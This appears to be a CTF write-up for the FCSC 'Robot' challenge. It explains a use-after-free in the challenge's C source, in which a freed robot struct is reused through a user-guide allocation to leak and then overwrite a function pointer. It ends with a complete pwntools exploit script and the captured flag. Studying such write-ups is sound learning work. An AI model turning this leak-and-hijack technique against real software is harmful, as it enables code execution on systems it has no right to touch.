Robot
The challenge give us two file: a source code and an binary file
The challenge tell us that this binary is protected by all classical protections like ASLR, W^X,…
I decided to read the source code to find exploitable vulnerabilities. While analyzing the source code, I found a fascinating function ‘admin’, which is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void admin(char *pwd)
{
unsigned char hash[SHA256_DIGEST_LENGTH];
char result[65];
SHA256((const unsigned char *) pwd, strlen(pwd), hash);
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
sprintf(result + (i * 2), "%02x", hash[i]);
}
if (strcmp(result, encrypted) == 0) {
execl("/bin/cat", "/bin/cat", "flag.txt", NULL);
perror("execl");
exit(2);
} else {
puts("ERROR: wrong password!");
}
}
The ‘admin’ function is responsible for reading the flag. However, we need the admin’s password to obtain the flag, which we don’t have (of course!). As an alternative, we can attempt to directly jump into the code at the address of execl("/bin/cat", "/bin/cat", "flag.txt", NULL);
. However, this is not a straightforward task. According to the source code, the program is protected against buffer overflow and string formatting vulnerabilities. All inputs are rigorously checked, and the print statements are flawlessly formatted to prevent any potential exploitation.
However, it seems that the programmer for this robot forgot something. Consider the robot’s functions. Their code was normal until I noticed something weird
1
2
3
4
5
6
7
8
9
10
11
case '3':
if (robot) {
printf ("Vous allumez le robot. ");
robot->move(robot);
printf ("De la fumée commence à apparaître, puis des étincelles... %s prend feu !!!\n", robot->name);
printf ("%s est complètement détruit\n", robot->name);
free (robot);
} else {
puts ("Vous n'avez pas de robot !");
}
break;
Calling free(robot)
without setting robot=NULL
creates a vulnerability that can be exploited using a Use-After-Free (UAF) attack. To take advantage of this critical vulnerability, we will examine the structure of the robot and search for a way to exploit it.
1
2
3
4
5
6
7
8
9
10
struct Robot {
char name[16];
void (*makeNoise)();
void (*move)();
};
struct RobotUserGuide {
char guide[32];
};
We can assume that the size of the robot struct is 16+8+8 = 32
, since the two function pointers always have a size of 8. Additionally, the struct RobotUserGuide has a size of 32 (perhaps this is a hint?). Continuing to examine the source code, I noticed that the struct RobotUserGuide
appears in the following section:
1
2
3
4
5
case '4':
userGuide = malloc (sizeof (struct RobotUserGuide));
printf ("Vous commencez à rédiger le mode d'emploi...\n> ");
fgets (userGuide->guide, 32, stdin);
break;
Voila, we can modify the parameters of struct robot through using struct RobotUserGuide. I proceed to test my conjecture:
There are some weird characters appear when i type 5 and enter. These are the pointers to the functions as I analyzed above. At this point I conclude that this binary can be exploited because the programmer did not assign robot=NULL
after free it.
clear clear
Exploitation
To exploit the vulnerability, we can follow these steps:
- Create a robot with any name.
- Play with the robot to call the free function on the robot.
- Create a userGuide with a character length less than 16, which ensures that the address of the bleep function is not overwritten (because the pointer
makeNoise
point to thebleep
function). Why is there such an overwrite? This is simply because when we create auserGuide
the program calls the malloc function and this function reuses the address of the robot structure that we have freed above with exactly the first memory cell of the new userGuide being the same memory cell with the first cell of thename
in structrobot
. Request the program to display the userGuide’s content on screen, and obtain the address of the
bleep
function (in function pointermakeNoice
). Because the userGuide now contains the address of the bleep function in the 17-24th byte. So we can capture it and then compute the address ofexecl
in theadmin
function (since their offset doesn’t change, we can calculate their offset by using objdump -d ./robot)Now, we have the address of
execl
. So let’s call the free function again through playing with the robot to prepare for the second overriding.- Next, we need overwrite the 17-24th byte in the userGuide (which is pointed to by the function pointer of the robot struct) with the address of
execl("/bin/cat", "/bin/cat", "flag.txt", NULL);
- Finally, by using the
le faire paler
in the program (this is to call the function pointed by function pointermakeNoise
) , we can trigger the exploit and obtain the flag.
Here is my full exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
# p = process("./robot")
p=remote("challenges.france-cybersecurity-challenge.fr",2101)
msg = p.recvuntil(b'Quitter')
p.sendline(b'1')
msg = p.recvuntil(b'l\'appelez ?')
p.sendline(b'qwerty')
msg = p.recvuntil(b'Quitter')
p.sendline(b'3')
msg = p.recvuntil(b'Quitter')
p.sendline(b'4')
msg = p.recvuntil(b'le mode d\'emploi...')
p.sendline(b'0123456789')
p.sendline(b'5')
msg = p.recvuntil(b'Quitter')
msg = p.recvuntil(b'Que faites-vous ?')
print(msg)
p.recv()
bleep_p64 = msg[19:27]
bleep_u64 = u64(bleep_p64)
log.success(f'[LEAK] {hex(bleep_u64)}')
# @admin- @bleep = 14e #use objdump -M intel -d ./robot
# read_pass - @bleep = 1f3
cat_addr = bleep_u64 + 0x1f3
p.sendline(b'3')
new_msg = p.recvuntil(b'Quitter')
p.sendline(b'4')
msg = p.recvuntil(b'le mode d\'emploi...')
p.sendline(b'A'*16+p64(cat_addr))
p.sendline(b'2')
p.interactive()
Result:
FLAG: FCSC{136e057aa66dd6d6b772cae51260121f65973ff2045ec812ad597c9060a6a18d}